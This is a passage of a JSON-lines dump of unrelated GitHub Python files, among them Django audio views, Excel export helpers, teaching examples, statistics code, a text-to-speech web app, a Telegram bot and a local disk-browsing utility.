0, 1),\n \"location\": \"EditMode: Select > Show ngons\",\n \"warning\": \"\",\n \"category\": \"Mesh\"\n}\n\ndef menu_func(self, context):\n \n ###usage\n ###self.layout.operator('Class unique id', text='text to overwrite class label', icon='MESH_CUBE')\n self.layout.operator('view3d.cursor_center')\n\n#classes = (FindTriangles_OT_Operator, MyPanel_PT_Panel)\n#register, unregister = bpy.utils.register_classes_factory(classes)\n\ndef register():\n bpy.utils.register_class(FindTriangles_OT_Operator)\n bpy.types.VIEW3D_MT_select_edit_mesh.append(menu_func)\n \n\ndef unregister():\n bpy.utils.unregister_class(FindTriangles_OT_Operator)\n bpy.types.VIEW3D_MT_select_edit_mesh.remove(menu_func)\n\nif __name__ == \"__main__\":\n register()","repo_name":"jonramos/LoveQuads","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"70617664892","text":"# Django imports\nfrom django.http import HttpResponse, JsonResponse\nfrom django.views import View\nfrom django.shortcuts import get_object_or_404\n\n# Rest Framework imports\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\n# Local imports\nfrom .models import *\nfrom .serializers import AudioUploadSerializer\n\n# External library imports\nimport io\nfrom pydub import AudioSegment\n\nclass AudioUploadAPIView(APIView):\n def post(self, request):\n if request.method == 'POST':\n files = request.FILES.getlist('files')\n if len(files) == 0:\n return JsonResponse({'error': 'No file was submitted'})\n \n for file in files:\n instance = Song(url=file)\n instance.save()\n\n return JsonResponse({'message': 'Files uploaded successfully'})\n return JsonResponse({'error': 'Invalid request method'})\n \nclass AudioSegmentView(View):\n def get(self, request, song_id, duration, *args, **kwargs):\n audio_file = Song.objects.get(pk=song_id)\n audio_path = audio_file.url.path\n\n full_audio = AudioSegment.from_file(audio_path)\n\n start_time = 0\n end_time = int(duration) * 1000\n audio_segment = full_audio[start_time:end_time]\n\n output = io.BytesIO()\n audio_segment.export(output, format=\"mp3\")\n\n response = HttpResponse(output.getvalue(), content_type=\"audio/mpeg\")\n return response\n\nclass SongAPIView(View):\n def get(self, request, song_id):\n song = get_object_or_404(Song, id=song_id)\n title = song.title\n url = \"/songs/audio/\"\n url += str(song_id) + \"/\"\n\n data = {\n 'title': title,\n 'url': url,\n }\n\n response = JsonResponse(data)\n return response\n\nclass AudioAPIView(APIView):\n def get(self, request):\n queryset = Song.objects.all()\n serializer = AudioUploadSerializer(queryset, many=True, context={'request': request})\n return Response(serializer.data)\n \nclass playlistAPIView(APIView):\n def get(self, request, playlist_name):\n playlist = get_object_or_404(PlayList, name=playlist_name)\n songs = playlist.songs.all()\n\n song_list = []\n\n for song in songs:\n song_data = {\n 'title': song.title,\n 'id': song.id,\n 'artist': song.artist,\n 'runtime': song.runtime,\n }\n song_list.append(song_data)\n \n return JsonResponse({\"songs\": song_list})","repo_name":"ppitzulo/se_project_backend","sub_path":"songs/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15488147800","text":"import pandas as pd\r\npd.options.display.max_rows = 999\r\npd.options.display.max_columns = 999\r\n\r\n#excel = pd.read_excel(path, engine = 'openpyxl')\r\n#path = r\"2021.xlsx\"\r\n#last_nr = excel['Nr'].values[-1]\r\n#new_nr = last_nr+1\r\n#new_row =pd.DataFrame([[new_nr,\"Schlatt2, Anja\",13.00]],columns=[\"Nr\",'Name','Rechnung'])\r\n#new_excel = pd.concat([excel,new_row],ignore_index=True)\r\n\r\n\r\nclass Tax:\r\n def __init__(self,month_int):\r\n dic = {\"01\":\"Januar\",\"02\":\"Februar\",\"03\":\"März\",\"04\":\"April\",\"05\":\"Mai\",\"06\":\"Juni\",\r\n \"07\":\"Juli\",\"08\":\"August\",\"09\":\"September\",\"10\":\"Oktober\",\r\n \"11\":\"November\",\"12\":\"Dezember\"}\r\n month = dic.get(month_int)\r\n xls = pd.ExcelFile(r'2021.xlsx')\r\n self.df = pd.read_excel(xls, month)\r\n\r\n\r\n def add_billRow(self,index):\r\n new_line = pd.DataFrame({\"ReNr\": 30.0, \"Datum\": 1.3,\"Name\":None,\"Tier\": None,\"Rechnung\":None,\"Anteil Medikamente\":None,\"19%MWSt\":None,\"7% MWSt\":None,\"Dkm\":None,\"Besuche\":None,\"Anteil.Laborkosten brutto, vom Gesamtbetrag abziehen!\": None,\"bar\":None,\"Fahrtkosten\":None,\"Praxisanteil\":None}, index=[3])\r\n df2 = pd.concat([self.df.iloc[:2], new_line, self.df.iloc[2:]]).reset_index(drop=True)\r\n","repo_name":"LAG1819/Vetenarian_bill","sub_path":"tools/Excel.py","file_name":"Excel.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12829978505","text":"from io import BytesIO\nimport xlsxwriter\nfrom django.utils.translation import ugettext\n\ndef WriteToExcel(weather_data, town=None):\n output = BytesIO()\n workbook = xlsxwriter.Workbook(output)\n\n # define styles to use\n title = workbook.add_format({\n 'bold': True,\n 'font_size': 14,\n 'align': 'center',\n 'valign': 'vcenter'\n })\n header = workbook.add_format({\n 'bg_color': '#cfe7f5',\n 'color': 'black',\n 'align': 'center',\n 'valign': 'top',\n 'border': 1\n })\n cell = workbook.add_format({})\n cell_center = workbook.add_format({'align': 'center'})\n\n # add a worksheet to work with\n worksheet_s = workbook.add_worksheet(\"Summary\")\n\n # create title\n title_text = ugettext(\"Temperature history for %(station)s\") % {'station': town}\n # add title to sheet, use merge_range to let title span over multiple columns\n worksheet_s.merge_range('B2:H2', title_text, title)\n\n # Add headers for data\n worksheet_s.write(4, 0, ugettext(\"Date\"), header)\n worksheet_s.write(4, 1, ugettext(\"Station\"), header)\n worksheet_s.write(4, 2, ugettext(u\"Min T. (°C)\"), header)\n worksheet_s.write(4, 3, ugettext(u\"Mean T. (°C)\"), header)\n worksheet_s.write(4, 4, ugettext(u\"Max T. (°C)\"), header)\n worksheet_s.write(4, 5, ugettext(u\"Avg.Min T. (°C)\"), header)\n worksheet_s.write(4, 6, ugettext(u\"Avg.Mean T. (°C)\"), header)\n worksheet_s.write(4, 7, ugettext(u\"Avg.Max T. (°C)\"), header)\n\n # write data to cells\n station_name_width = 10\n for idx, data in enumerate(weather_data):\n row_index = 5 + idx\n worksheet_s.write(row_index, 0, data.date.strftime(\"%Y-%m-%d\"), cell_center)\n worksheet_s.write_string(row_index, 1, data.station.name, cell_center)\n worksheet_s.write_number(row_index, 2, data.min, cell)\n worksheet_s.write_number(row_index, 3, data.mean, cell)\n worksheet_s.write_number(row_index, 4, data.max, cell)\n if len(data.station.name) > station_name_width:\n station_name_width = len(data.station.name)\n\n # add formulas to calc avg. over time\n worksheet_s.write_formula(row_index, 5, '=AVERAGE({0}{1}:{0}{2})'.format('C', 6, row_index+1))\n worksheet_s.write_formula(row_index, 6, '=AVERAGE({0}{1}:{0}{2})'.format('D', 6, row_index+1))\n worksheet_s.write_formula(row_index, 7, '=AVERAGE({0}{1}:{0}{2})'.format('E', 6, row_index+1))\n\n # resize rows and columns\n worksheet_s.set_column('A:A', 12)\n worksheet_s.set_column('B:B', station_name_width)\n worksheet_s.set_column('C:H', 10)\n\n # add chart\n worksheet_c = workbook.add_worksheet(\"Charts\")\n worksheet_d = workbook.add_worksheet(\"Chart data\")\n\n # chart data\n for row_index, data in enumerate(weather_data):\n worksheet_d.write(row_index, 0, data.date.strftime(\"%Y-%m-%d\"))\n worksheet_d.write_number(row_index, 1, data.min)\n worksheet_d.write_number(row_index, 2, data.mean)\n worksheet_d.write_number(row_index, 3, data.max)\n\n # line chart\n line_chart = workbook.add_chart({'type': 'line'})\n line_chart.add_series({\n 'categories': '=Chart data!$A1:$A{0}'.format(len(weather_data)),\n 'values': '=Chart data!$B1:$B{0}'.format(len(weather_data)),\n 'marker': {'type': 'square'},\n 'name': ugettext(\"Min T.\")\n })\n line_chart.add_series({\n 'categories': '=Chart data!$A1:$A{0}'.format(len(weather_data)),\n 'values': '=Chart data!$C1:$C{0}'.format(len(weather_data)),\n 'marker': {'type': 'square'},\n 'name': ugettext(\"Mean T.\")\n })\n line_chart.add_series({\n 'categories': '=Chart data!$A1:$A{0}'.format(len(weather_data)),\n 'values': '=Chart data!$D1:$D{0}'.format(len(weather_data)),\n 'marker': {'type': 'square'},\n 'name': ugettext(\"Max T.\")\n })\n line_chart.set_title({'name': ugettext(\"Temperatures\")})\n line_chart.set_x_axis({ 'text_axis': True, 'date_axis': False })\n line_chart.set_y_axis({ 'num_format': u'## °C' })\n worksheet_c.insert_chart('B2', line_chart, {'x_scale': 2, 'y_scale': 1})\n\n workbook.close()\n xlsx_data = output.getvalue()\n # xlsx_data contains the Excel file\n return xlsx_data\n\n","repo_name":"roppert/django-export-excel-and-pdf","sub_path":"project/app/export/excel.py","file_name":"excel.py","file_ext":"py","file_size_in_byte":4331,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"41018988836","text":"sys.stderr = open(snakemake.log[0], \"w\")\n# parameter = snakemake.params.get(\"parameter\", \"\")\n\nfrom collections import defaultdict\nfrom os.path import basename, splitext\n\nimport pandas as pd\n\n\ndef summarize_manuel_checks(\n paths_to_manuell_check_files: list[str], path_to_total_summary: str, out_path: str\n):\n summary_dict = defaultdict()\n\n summary_dict[\"total pages processed\"] = pd.read_csv(\n path_to_total_summary, sep=\"\\t\"\n ).shape[0]\n\n for path in paths_to_manuell_check_files:\n header = splitext(basename(path))[0].replace(\"_\", \" \").replace(\"-\", \" \")\n count = pd.read_csv(path, sep=\"\\t\", names=[header]).shape[0]\n summary_dict[header] = count\n\n manuel_check_summary_df = pd.DataFrame(\n summary_dict.items(), columns=[\"Check\", \"Count\"]\n )\n manuel_check_summary_df.to_csv(out_path, sep=\"\\t\", index=False)\n\n\nif __name__ == \"__main__\":\n summarize_manuel_checks(\n snakemake.input.manuel_checks,\n snakemake.input.total_imgs_processed,\n snakemake.output[0],\n )\n","repo_name":"thomasbtf/document-anonymization","sub_path":"workflow/scripts/summarize-manuel-checks.py","file_name":"summarize-manuel-checks.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"13701936619","text":"from enum import Enum, auto, unique, IntEnum\n\n\n# Class syntax\nclass DaysOfWeek(Enum):\n MONDAY = 1\n TUESDAY = 2\n WEDNESDAY = 3\n THURSDAY = 4\n FRIDAY = 5\n\n\nprint(DaysOfWeek.MONDAY)\nprint(DaysOfWeek.TUESDAY)\nprint(DaysOfWeek.WEDNESDAY)\n\ntoday = DaysOfWeek.THURSDAY\nprint(today)\n\n\nclass Compass(Enum):\n NORTH = 0\n EAST = 90\n SOUTH = 180\n WEST = 270\n\n\nprint(Compass.SOUTH)\n\nprint(Compass.SOUTH.name)\nprint(Compass.SOUTH.value)\n\nclass Sizes(Enum):\n S = \"small\"\n M = \"medium\"\n L = \"large\"\n XL = \"extra large\"\n\n\nprint(Sizes.XL)\n\n\nclass SwitchPosition(Enum):\n ON = True\n OFF = False\n\n\nswitch = SwitchPosition.OFF\nprint(switch)\n\n# Functional syntax\n# Weekend = Enum('Weekend', ['SATURDAY', 'SUNDAY'])\n\nWeekend = Enum('Weekend',\n ['SATURDAY', 'SUNDAY'],\n start=10)\nday = Weekend.SATURDAY\nprint(day)\n\nHTTPStatusCode = Enum(\n value=\"HTTPStatusCode\",\n names=[\n (\"OK\", 200),\n (\"CREATED\", 201),\n (\"BAD_REQUEST\", 400),\n (\"NOT_FOUND\", 404),\n (\"SERVER_ERROR\", 500),\n ],\n)\n\nprint(HTTPStatusCode.OK)\n\n\nclass Day(Enum):\n MONDAY = 5\n TUESDAY = auto()\n WEDNESDAY = 9\n THURSDAY = auto()\n FRIDAY = auto()\n SATURDAY = auto()\n SUNDAY = 15\n\n\nprint(list(Day))\n\nclass OperatingSystem(Enum):\n UBUNTU = \"linux\"\n MACOS = \"darwin\"\n WINDOWS = \"win\"\n DEBIAN = \"linux\"\n\nprint(OperatingSystem.UBUNTU)\nprint(OperatingSystem.DEBIAN)\nprint(OperatingSystem.MACOS)\nprint(OperatingSystem.WINDOWS)\n\n# Can indicate that each value should be unique\n\n@unique\nclass Lights(Enum):\n RED = 1\n AMBER = 2\n GREEN = 3\n # RED_AMBER = 1\n\nprint(Lights.RED)\n\nfor day in DaysOfWeek:\n print(day)\n\nos1 = OperatingSystem.UBUNTU\nos2 = OperatingSystem.MACOS\nos3 = OperatingSystem.UBUNTU\nprint(os1 is os3)\nprint(os1 is os2)\nprint(os1 is not os2)\n\nos4 = OperatingSystem.DEBIAN\nprint(os1 is os4)\n\nclass Size(IntEnum):\n XS = 1\n S = 2\n M = 3\n L = 4\n XL = 5\n XXL = 6\n\nprint(Size.XS < Size.L)\nprint(Size.XL > Size.S)\nprint(Size.XL >= Size.S)","repo_name":"johnehunt/beginnerspython3_2nd","sub_path":"chapter40_enumerated_types/enum_examples.py","file_name":"enum_examples.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"19002748398","text":"# Solve the following problem:\n# In comments Provide the Time Complexity of your solution.\n# Your mission is to solve this problem in O(n) time or better\n\n# [ log(n), n, n**2, n**3 ]\n\n# A phrase is a if, after converting all uppercase letters into lowercase letters and removing all non-alphanumeric characters, it reads the same forward and backward. Alphanumeric characters include letters and numbers.\n# Given a string s, return true or false.\n \n# s = \"A man, a plan, a canal: Panama\"\n# true\n# \"amanaplanacanalpanama\" is a palindrome.\n\n# s = \"race a car\"\n# false\n# \"raceacar\" is not a palindrome.\n\n# s = \" \"\n# true\n# s is an empty string \"\" after removing non-alphanumeric characters.\n# Since an empty string reads the same forward and backward, it is a palindrome.\n\ns = \"amanaplanacanalpanama\"\n# \"A man, a plan, a canal: Panama\"\n\ndef pdrome(string):\n w = \"\"\n for letter in string:\n w = letter + w\n \n if (string == w):\n print(\"True\")\n else:\n print(\"False\")\nprint(pdrome(\"amanaplanacanalpanama\"))\nprint(pdrome(\"raceacar\"))\n","repo_name":"SoapierPea/WK4-Day-2-palindrome","sub_path":"homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12035363257","text":"#program to find the multiles of a number(divisor) out of given five number. \n\nprint(\"Enter the five number below\")\n\nnum1=float(input(\"Enter first number:\"))\n\nnum2=float(input(\"Enter second number:\"))\n\nnum3=float(input(\"Enter third number:\")) \n\nnum4=float(input(\"Enter fourth number:\")) \n\nnum5=float(input(\"Enter fifth number:\")) \n\ndivisor=float(input(\"Enter divisor number:\"))\n\ncount=0\nremainder=num1 % divisor\n\nif remainder ==0:\n print(num1)\n count+=1\n\nremainder=num2 % divisor\n\nif remainder ==0:\n print(num2)\n count+=1\n\nremainder=num3 % divisor\n\nif remainder ==0:\n print(num3)\n count+=1\n\nremainder=num4 % divisor\n\nif remainder ==0:\n print(num4)\n count+=1\n\nremainder=num5 % divisor\n\nif remainder ==0:\n print(num5)\n count+=1\nprint(count,\"multiple of \",divisor,\"found\")\n\"\"\"\noutput===>\n\nEnter the five number below\n\nEnter first number:10\n\nEnter second number:5\n\nEnter third number:15\n\nEnter fourth number:20\n\nEnter fifth number:26\n\nEnter divisor number:5\n10.0\n5.0\n15.0\n20.0\n4 multiple of 5.0 found\n\"\"\"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"mohitsharma2/Python","sub_path":"Book_program/divisor.py","file_name":"divisor.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"34647376899","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom collections import Counter\nimport time\nfrom hypothtst.tst.stochparams.multinomial.test_stats import get_pval_sim, get_p_val_chisq\nfrom hypothtst.alpha_beta_sim import AlphaBeta_1Sampl\n\n\nclass Multinom():\n def __init__(self, k, n, ps=None):\n self.k = k\n self.n = n\n if ps is None:\n self.ps = np.ones(k)/k\n else:\n self.ps = ps\n\n def rvs(self):\n ys = np.random.choice(self.k, p=self.ps, size=self.n)\n ns = Counter(ys).values()\n ns = list(ns)\n return ns\n\n\ndef main():\n dist1 = Multinom(3, 10)\n dist2 = Multinom(3, 10, ps=[.6,.2,.2])\n ab = AlphaBeta_1Sampl()\n ab.alpha_beta_tracer(dist1, dist2, get_p_val_chisq)\n ab2 = AlphaBeta_1Sampl()\n start_time = time.time()\n ab2.alpha_beta_tracer(dist1, dist2, get_pval_sim)\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n plt.plot(ab.alphas, ab.betas)\n plt.plot(ab2.alphas, ab2.betas)\n plt.show()\n","repo_name":"ryu577/hypothtst","sub_path":"experiments/multinomial/curve_drawer.py","file_name":"curve_drawer.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37417135462","text":"import numpy as np\n\ndef log_likelihood(theta, x, y, mp):\n ''' Computes the sum of log-likelihood contributions for observations given beta\n \n Args:\n \n beta (ndarray): coefficients to independent variables\n x (ndarray): independent variables\n y (ndarray): observed binary choices\n \n Returns:\n \n (float): sum of log-likelihood contributions\n \n '''\n b1 = theta[0]\n b2 = theta[1] + theta[2] * mp.Z # Drawing individual slopes\n b2 = np.broadcast_to(b2, (mp.N, mp.Ndraws))\n\n xb = b1 + x*b2 \n z = np.exp(xb)\n y_prb = z / (1 + z)\n \n # Calculate likelihood contributions\n y_dens = y*y_prb + (1-y)*(1-y_prb)\n y_mc = np.mean(y_dens, axis=1)\n ll = np.sum(np.log(y_mc)) \n return ll\n","repo_name":"NumEconCopenhagen/IntroProg-lectures","sub_path":"exams/2022/re_solution_2022/question1.py","file_name":"question1.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"78"} +{"seq_id":"7101019","text":"# -*- coding: utf-8 -*-\n# /usr/bin/python2\n\nfrom __future__ import print_function\nimport os\nimport gc\nimport logging\n\nimport numpy as np\nimport tensorflow as tf\ntf.get_logger().setLevel(logging.ERROR)\nfrom scipy.io.wavfile import write\nfrom tqdm import tqdm\nfrom starlette.applications import Starlette\nfrom starlette.responses import FileResponse\nimport uvicorn\nfrom pydub import AudioSegment\n\nfrom utils import spectrogram2wav\nfrom hyperparams import Hyperparams as hp\nfrom graph import Graph\nfrom data_load import load_text\n\nlang = {\"cortazar\":\"es\", \"gibi\":\"en\", \"kid\":\"en\", \"spinetta\":\"es\", \"rapbot\": \"es\"}\n\ndef clean_text(text):\n\treturn text.replace(\"ñ\",\"ni\") + \" \"\n\ndef synthesize_full(model_name, texts):\n\ttf.reset_default_graph()\n\tg = Graph(lang=lang[model_name])\n\ttexts = [clean_text(text) for text in texts]\n\tprint(\"Graph loaded\")\n\twith tf.Session() as sess:\n\n\t sess.run(tf.global_variables_initializer())\n\n\t # Restore parameters\n\t var_list = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, 'Text2Mel')\n\t saver1 = tf.train.Saver(var_list=var_list)\n\t saver1.restore(sess, tf.train.latest_checkpoint(os.path.join(\"models\",model_name, \"logdir-1\")))\n\t print(\"Text2Mel Restored!\")\n\n\t var_list = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, 'SSRN') + \\\n\t tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, 'gs')\n\t saver2 = tf.train.Saver(var_list=var_list)\n\t saver2.restore(sess, tf.train.latest_checkpoint(os.path.join(\"models\",model_name, \"logdir-2\")))\n\t print(\"SSRN Restored!\")\n\n\t if len(texts) > 0:\n\t L = load_text(texts,lang[model_name])\n\t #print(L)\n\t max_T = min(int(sum([len(text) for text in texts])*1.5), hp.max_T)\n\t # Feed Forward\n\t ## mel\n\t Y = np.zeros((len(L), hp.max_T, hp.n_mels), np.float32)\n\t prev_max_attentions = np.zeros((len(L),), np.int32)\n\t for j in tqdm(range(max_T)):\n\t _gs, _Y, _max_attentions, _alignments = \\\n\t sess.run([g.global_step, g.Y, g.max_attentions, g.alignments],\n\t {g.L: L,\n\t g.mels: Y,\n\t g.prev_max_attentions: prev_max_attentions})\n\t Y[:, j, :] = _Y[:, j, :]\n\t prev_max_attentions = _max_attentions[:, j]\n\n\t # Get magnitude\n\t Z = sess.run(g.Z, {g.Y: Y})\n\n\t for i, mag in enumerate(Z):\n\t print(\"Working on file\", i+1)\n\t wav = spectrogram2wav(mag)\n\t write(f\"{i}.wav\", hp.sr, wav)\n\t break\n\ndef wav2mp3(path_to_file):\n\tfinal_audio = AudioSegment.from_wav(file=path_to_file)\n\tpath_to_file = path_to_file.replace(\".wav\",\".mp3\")\n\tfinal_audio.export(path_to_file, format=\"mp3\")\n\treturn path_to_file\t\n\napp = Starlette(debug=False)\n\n# Needed to avoid cross-domain issues\nresponse_header = {\n 'Access-Control-Allow-Origin': '*',\n}\n\n@app.route('/', methods=['GET', 'POST'])\nasync def homepage(request):\n\tif request.method == 'GET':\n\t params = request.query_params\n\telif request.method == 'POST':\n\t params = await request.json()\n\n\ttext = params.get('text', 'Hola')\n\tmodel = params.get('model', 'rapbot')\n\tsynthesize_full(model, [text])\n\tpath_to_file = \"0.wav\"\n\tgc.collect()\n\treturn FileResponse(wav2mp3(path_to_file), headers=response_header)\n\nif __name__ == '__main__':\n uvicorn.run(app, host='0.0.0.0', port=int(os.environ.get('PORT', 8080)))\n","repo_name":"mathigatti/tts-web","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14048650791","text":"import random\nimport time\nfrom aiogram import types, Dispatcher\nfrom aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton\nfrom config import bot\nfrom parser import parser_news\n\n\nasync def latest_news(message: types.Message):\n news = parser_news.parser()\n for new in news:\n await message.answer(\n f\"{new['headline']}\\n\\n\"\n f\"{new['description']}\\n\\n\"\n f\"https://www.securitylab.ru/{new['link']}\"\n )\n\n\nasync def meme(message: types.Message):\n photos = [\"photos/memes/meme1.jpg\", \"photos/memes/meme2.jpg\", \"photos/memes/meme3.jpg\"]\n photo = open(random.choice(photos), 'rb')\n await bot.send_photo(message.chat.id, photo=photo)\n\n\nasync def quiz1(message: types.Message):\n markup = InlineKeyboardMarkup()\n next_quiz_button = InlineKeyboardButton(\"Next\", callback_data='quiz2')\n markup.add(next_quiz_button)\n\n question = 'Which library is used to program Telegramm bots?'\n answers = [\n 'random',\n 'aiogram',\n 'math',\n 'cmath'\n ]\n await bot.send_poll(\n chat_id=message.chat.id,\n question=question,\n options=answers,\n type='quiz',\n correct_option_id=1,\n explanation='Skill Issue',\n reply_markup=markup,\n )\n\n\nasync def dice(message: types.Message):\n await bot.send_message(message.chat.id, f'Your dice')\n dice1 = await bot.send_dice(message.chat.id, emoji='🎲')\n time.sleep(3.5)\n\n await bot.send_message(message.chat.id, f'My dice')\n dice2 = await bot.send_dice(message.chat.id, emoji='🎲')\n time.sleep(3.5)\n\n if dice1.dice.value > dice2.dice.value:\n await bot.send_message(message.chat.id, f'{dice1.dice.value}:{dice2.dice.value} - You won')\n elif dice1.dice.value < dice2.dice.value:\n await bot.send_message(message.chat.id, f'{dice1.dice.value}:{dice2.dice.value} - I won')\n else:\n await bot.send_message(message.chat.id, f'{dice1.dice.value}:{dice2.dice.value} - Draw')\n\n\ndef register(dp: Dispatcher):\n dp.register_message_handler(quiz1, commands=['quiz'], commands_prefix='!/')\n dp.register_message_handler(meme, commands=['meme'], commands_prefix='!/')\n dp.register_message_handler(dice, commands=['dice'], commands_prefix='!/')\n dp.register_message_handler(latest_news, commands=['news'], commands_prefix='!/')\n","repo_name":"Tumbler-3/TelegamBot","sub_path":"handler/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12948220145","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 17 12:18:27 2014\n\n@author: dgevans\n\"\"\"\nimport numpy as np\n\nbeta = 0.95\nsigma = 2.\ngamma = 2.\nsigma_e = 0.1\nT = 0.2\ntau = 0.2\n\n\nn = 1\nny = 4\nne = 2\nnY = 2\nnz = 1\nnv = 1\n\ndef F(w):\n '''\n Idiosyncratic equations\n '''\n logm,c,l,x_ = w[:4]\n EUc,Ex_ = w[4:6]\n alpha1,alpha2 = w[6:8]\n logm_ = w[8]\n x = w[9]\n eps = w[10]\n \n Uc = c**(-sigma)\n Ul = -l**(gamma)\n m = np.exp(logm) \n m_ = np.exp(logm_)\n \n \n ret = np.empty(5,dtype=w.dtype)\n ret[0] = x_ - Ex_\n ret[1] = x_*Uc/(beta*EUc) - Uc*(c-T) - Ul*l - x\n ret[2] = alpha2 - m*Uc\n ret[3] = (1-tau)*np.exp(eps)*Uc + Ul\n ret[4] = alpha1 - m_*EUc\n \n return ret\n \ndef G(w):\n '''\n Aggregate equations\n '''\n logm,c,l,x_ = w[:4]\n eps = w[10]\n \n ret = np.empty(2,dtype=w.dtype)\n ret[0] = 1 - np.exp(logm)\n ret[1] = c - np.exp(eps) * l\n \n return ret\n \ndef f(y):\n '''\n Expectational equations\n '''\n logm,c,l,x_ = y\n \n ret = np.empty(2,dtype=y.dtype)\n ret[0] = c**(-sigma)\n ret[1] = x_\n \n return ret\n \ndef Finv(YSS,z_i):\n '''\n Given steady state YSS solves for y_i\n '''\n logm_i = z_i\n alpha1,alpha2 = YSS\n m_i = np.exp(logm_i) \n \n Uc_i =alpha1/m_i\n c_i = (Uc_i)**(-1/sigma)\n Ul_i = -(1-tau)*Uc_i\n l_i = ( -Ul_i )**(1./gamma)\n x_i = beta*( Uc_i*(c_i-T) + Ul_i*l_i )/(1-beta)\n \n return np.vstack((\n logm_i,c_i,l_i,x_i \n ))\n \ndef GSS(YSS,y_i):\n '''\n Aggregate conditions for the steady state\n '''\n logm_i,c_i,l_i,x_i = y_i\n alpha1,alpha2 = YSS\n \n return np.hstack((\n alpha1-alpha2, np.mean(c_i-l_i) \n ))\n \ndef nomalize(Gamma):\n '''\n Normalizes the distriubtion of states if need be\n '''\n #in our case we want distribution of market weights to be one\n \n return Gamma -np.log(np.mean(np.exp(Gamma)))\n \ndef Ftest(y,ybar,YSS,logm_,eps):\n '''\n '''\n logm,c,l,x_ = y\n alpha1,alpha2 = YSS\n logmbar,cbar,lbar,x_bar = ybar\n \n Uc = c**(-sigma)\n Ucbar = cbar**(-sigma)\n Ul = -l**(gamma)\n m = np.exp(logm) \n x = Finv(YSS,logm)[3]\n \n \n ret = np.empty(4)\n ret[0] = x_ - x_bar\n ret[1] = x_*Uc/(beta*Ucbar) - Uc*(c-T) - Ul*l - x\n ret[2] = alpha2 - m*Uc\n ret[3] = (1-tau)*np.exp(eps)*Uc + Ul\n return ret","repo_name":"dgevans/IdioApprox","sub_path":"calibrate_bewley_log.py","file_name":"calibrate_bewley_log.py","file_ext":"py","file_size_in_byte":2373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"299017001","text":"import os\nimport pyfiglet\nimport win32api\n\n\n\nclass StorageSpider():\n\n def __init__(self):\n self.absPath = r''\n\n def appBanner(self):\n logo = pyfiglet.figlet_format(\"S t o r a g e\", font='epic')\n logo1 = pyfiglet.figlet_format(\" S p i d e r\", font='epic')\n red = \"\\033[1;31m\"\n green = \"\\033[1;32m\"\n print(green + logo + red + logo1)\n\n def listDisks(self):\n drives = win32api.GetLogicalDriveStrings()\n drives = drives.split('\\000')[:-1]\n return drives\n\n def convert_bytes(self, size):\n \"\"\" Convert bytes to KB, or MB or GB\"\"\"\n for x in ['bytes', 'KB', 'MB', 'GB', 'TB']:\n if size < 1024.0:\n return \"%3.1f %s\" % (size, x)\n size /= 1024.0\n\n def getMbFileSize(self, file):\n filestat = os.path.getsize(file)\n return self.convert_bytes(filestat)\n\n def getDirSize(self, dir):\n nbytes = sum(d.stat().st_size for d in os.scandir(dir) if d.is_file())\n return self.convert_bytes(nbytes)\n\n def searchAll(self, disk):\n ss = \"\"\n for relPath, dirs, files in os.walk(disk):\n for i in dirs:\n file = os.path.join(relPath, i)\n ss += file+\"\\n\"\n return ss\n\n def layerSearch(self, disk):\n os.system(\"cls\")\n print(\"\\n\"*1000)\n self.appBanner()\n ss = \"\"\n idx = 0\n for dir in range(0, len(os.listdir(disk))):\n if idx % 2 == 0:\n ss += '{:<50s}'.format(\"(\"+str(idx)+\") \"+os.listdir(disk)[idx]) + \"\\t\"\n else:\n ss += '{:<50s}'.format(\"(\" + str(idx) + \") \" + os.listdir(disk)[idx]) + \"\\n\"\n idx += 1\n return \"\\n\"+ss\n\n def describe(self, data, start_idx=0, end_idx=50):\n return data[start_idx:end_idx]\n\n def goBack(self, absPath):\n self.absPathx = absPath.split(\"\\\\\")\n self.absPath = \"\"\n for x in self.absPathx:\n if x == '':\n self.absPathx.pop(self.absPathx.index(x))\n self.absPathx.pop(self.absPathx.index(self.absPathx[-1]))\n for pt in self.absPathx:\n self.absPath += pt + \"\\\\\"\n return self.absPath\n\n def rename(self):\n newName = input(\"New name: \")\n os.rename(self.absPath, self.goBack(self.absPath)+newName)\n 